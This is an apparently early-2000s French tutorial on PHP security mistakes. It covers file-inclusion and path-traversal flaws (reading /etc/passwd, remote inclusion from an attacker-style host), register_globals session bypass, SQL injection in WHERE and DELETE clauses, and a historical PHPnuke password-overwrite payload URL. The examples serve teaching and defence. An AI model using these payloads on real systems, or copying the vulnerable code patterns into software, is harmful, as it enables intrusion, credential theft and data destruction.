La sécurité avec PHP est un grand débat. Si PHP n'avait pas le mode SAFE_MODE, les ISP n'auraient sûrement pas déployé PHP si facilement.

Rappelez vous le Perl, seuls quelques scripts étaient disponibles pour les pages persos (compteurs, guestbook ...).

Grâce à PHP et cette fonctionnalité de limitation, le commun des internautes pouvait enfin bénéficier des fonctionnalités étendues de ce langage de script.

Thomas Oertli a écrit sur Zend.com un article sur les problèmes de sécurité qui sont finalement de simples erreurs de programmation.

Voyons donc les possibilités d'intrusion avec ou sans SAFE_MODE dont Tomas parle dans son article. Je vous conseille de lire son document.

Fichiers :

Lors de l'ouverture (fopen), inclusion (include, require) ou exécution (exec, passthru) d'un fichier, un grave trou de sécurité est mis au jour.

En admettant qu'un script prend un paramètre par la méthode GET ou POST. Et que ce paramètre contient le nom du fichier à traiter. Alors n'importe quel internaute pourrait modifier le paramètre dans l'URL et de le remplacer par un fichier local ou encore un fichier distant.

Exemple :

URL : http://mondomain.com/monchemin/monscript.php?monfichier=test.html
URL modifiée : http://mondomain.com/monchemin/monscript.php?monfichier=../../../../etc/passwd

<?php

if(isset($monfichier))
{
    include ($monfichier);
}

?>

Cela suffirait à lister le fichier inclus. Avec cette méthode, je peux donc afficher la liste des comptes utilisateurs de cette machine, les processus lancés au démarrage, le fichier de configuration d'Apache ou n'importe quel fichier dont le processus Apache aurait les droits de lecture. Ceci n'est pas spécifique au système de type Unix, sous Windows le procédé est le même.

Encore plus fort :
URL modifiée : http://mondomain.com/monchemin/monscript.php?monfichier=http://sitedehacker.com/hack.php

<?php
// Fichier hack.php

print "<? phpinfo(); ?>";

?>
Avec cette méthode, le fichier inclus sera interprété par PHP donc s'il contient du code, ici un simple phpinfo, alors ce code sera interprété. C'est un grave trou de sécurité.

Que ce soit include, fopen, ou encore exec tout passage d'un paramètre non contrôlé à ces fonctions est un trou de sécurité potentiel.

Variables Globales :

Le paramètre track_vars permet d'activer ou non, la création automatique en variables Globales des éléments issus des méthodes GET, POST, ou COOKIE. Cette possibilité facilite grandement le développement mais ouvre aussi des failles de sécurité comme on a put le voir plus haut. Mais ce n'est pas tout.

Par exemple un site ouvre certaines rubriques aux utilisateurs authentifiés. Le test de l'authentification pourrait se faire avec l'id de session, s'il existe alors l'utilisateur est authentifié.

<?php
if(isset($session_id))
{
.....
}
?>
Il suffit donc de passer la variable de session ($session_id) en GET avec une chaîne quelconque. Et l'on nous ouvre les portes.
Il faut donc mieux tester notre session pour être sûr qu'elle est valide et surtout prendre la variable $session_id là où on l'attend, c'est à dire en COOKIE plutôt qu'en GET.

<?php
$session_id = $HTTP_COOKIE_VARS['session_id'];
?>
Suivant l'ordre de l'initialisation des variables les COOKIE écrasent toujours les variables Globales initialisées par le GET. Mais on ne sait jamais, donc soyez prudent.

Toujours dans le passage d'arguments en GET ou POST, il est très courant de voir la clause WHERE d'une requête SQL qui est contenue en totalité ou en partie dans une variable.
<?php
if(isset($filtre))
    $clause_where = $filtre;
else
    $clause_where = "article_date >'".date("Y-m-d")."'";

$sql_query = "SELECT * FROM WHERE ".$clause_where." ORDER BY nom ASC";
?>
En initialisant $filtre dans l'url de ce script, on pourrait donc récupérer tout le contenu de la base. De la même façon une suppression ou une mise à jour pourrait être insécurisée.

<?php
$sql_query = "DELETE FROM matable WHERE id=$id";

// En initialisant $id avec la chaîne 'id',
// tout le contenu de la table 'matable' sera supprimé.
// URL : http://mondomain.com/monchemin/monscript.php?id='id'
?>
Thomas Oertli nous parle aussi d'une grave erreur dans PHPnuke dans la fonction de mise à jour des articles pour le compteur d'accès. Afin d'optimiser son script et de limiter la répétion de ligne de code, le programmeur a passé un partie du nom de la table en paramètre. Cela donne a peut près cela :
<?php

$sql_query = "UPDATE ".$prefix."_stories SET counter=counter+1 where sid=$sid";

?>
Si l'on passe $prefix en paramètres, chose qui était le cas à l'époque où de ce bug, et que l'on initialise cette variable avec une chaîne judicieuse. Il faut pour cela bien connaitre l'application ou en avoir les sources. Celle-ci est notemment disponible en Open Source.
URL : http://example.com/article.php?mainfile=1&sid=1&tid=1&prefix=nuke.authors%20set%20pwd=1%23

On a donc la requête suivante qui sera executée :
UPDATE nuke.nuke_authors set pwd=1#_stories
SET counter=counter+1 where sid=XX
Elle changera tous les mots de passe par la valeur 1, car le # correspond à un commentaire. On pourra donc se connecter librement et modifier à loisir le contenu de ce site.
Je vous rassure le problème est résolu dans le version actuelle de PHPnuke.

Je vous laisse réfléchir à tout celà mais surtout ne devenez pas parano et lisez plutôt la suite de l'article de Tomas.